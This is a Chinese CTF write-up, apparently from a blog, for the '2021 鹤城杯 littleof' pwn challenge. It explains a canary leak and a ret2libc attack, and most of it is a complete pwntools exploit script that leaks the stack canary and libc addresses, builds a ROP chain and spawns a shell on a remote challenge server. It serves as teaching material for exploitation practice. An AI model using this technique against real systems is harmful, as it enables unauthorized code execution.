[2021 鹤城杯]littleof [泄露canary,libc] 总结

问题

[2021 鹤城杯]littleof

思路

这道题思路其实很明确的:
泄露canary -> 泄露libc -> 泄露canary -> get_sehll
但这道题花了很长的时间,就是因为这里泄露 canary 出现了问题,拿到的 canary 值始终不对,到底后续没法进行,但最离谱的是,报错的地方都在 泄露 libc 的代码处,导致花了很久很久来找该部分的错误,最后发现错误原来在上面(笑),挺好,下次泄露 canary 绝对不会写错!
具体看EXP中两次泄露 canary 写法的不同,换行符是关键:

  • io.sendlineafter():本身会多读入一个换行符,io.recvuntil()掉填充字节之后,还有一个换行符的,所以一定要读入8个字节的 canary,然后将\x0a 给去掉,即可等到正确的 canary
  • io.sendafter()是不会发送换行符的,所以要多读入一个填充字节,将 canary 最低位的 \x00 给覆盖掉才行。

EXP

from pwn import *
from pwn import u64,p64
from LibcSearcher import LibcSearcher
context(log_level = 'debug',arch = 'amd64',os = 'linux')
# node4.anna.nssctf.cn:28415
io = remote('node4.anna.nssctf.cn',28415)
# io = process('./littleof')
elf = ELF('./littleof')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#rop = ROP('./xxx')

# canary
# 注意这里和下面泄露 canary 写法的不同
canary1_num = 0x50 - 0x8
payload = b"a" * canary1_num 
delimiter = b"overflow?"
io.sendlineafter(delimiter,payload)
io.recvuntil(b"a" * canary1_num)
canary = u64(io.recv(8)[1:].rjust(8,b"\x00"))
log.success("Canary: " + (hex(canary)))


# puts
num = 0x50 - 0x8
main_addr = 0x4006e2
ret_addr = 0x40059e
pop_rdi_ret_addr = 0x400863
puts_got_addr = elf.got['puts']
puts_plt_addr = elf.plt['puts']

payload = b"a" * num + p64(canary) + p64(0) + p64(pop_rdi_ret_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(main_addr)

delimiter = b"harder!"
io.sendlineafter(delimiter,payload)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
log.success("puts_addr: " + (hex(puts_addr)))


# libc = LibcSearcher('puts',puts_addr)
libc_base_addr = puts_addr - 0x80aa0
system_addr = libc_base_addr + 0x4f550
binsh_addr = libc_base_addr + 0x1b3e1a

# canary
canary2_num = 0x50 - 0x8 + 0x1
payload = b"a" * canary2_num
delimiter = b"overflow?"
io.sendafter(delimiter,payload)
io.recvuntil(b"a" * canary2_num)
canary = u64(io.recv(7).rjust(8,b"\x00"))
log.success("Canary: " + (hex(canary)))

# 栈对齐
payload = b"a" * num + p64(canary) + p64(0)  + p64(ret_addr) + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)

delimiter = b"harder!"
io.sendlineafter(delimiter,payload)
io.interactive()

总结

  • 注意 sendafter 与 sendlineafter 之间差一个换行符(\x0a
  • 泄露 canary 时,要覆盖其最低位的 \x00
  • 切记 canary 是 rbp - 0x8,所以返回地址是在 rbp + 0x8 处,不要忘记覆盖 rbp
  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值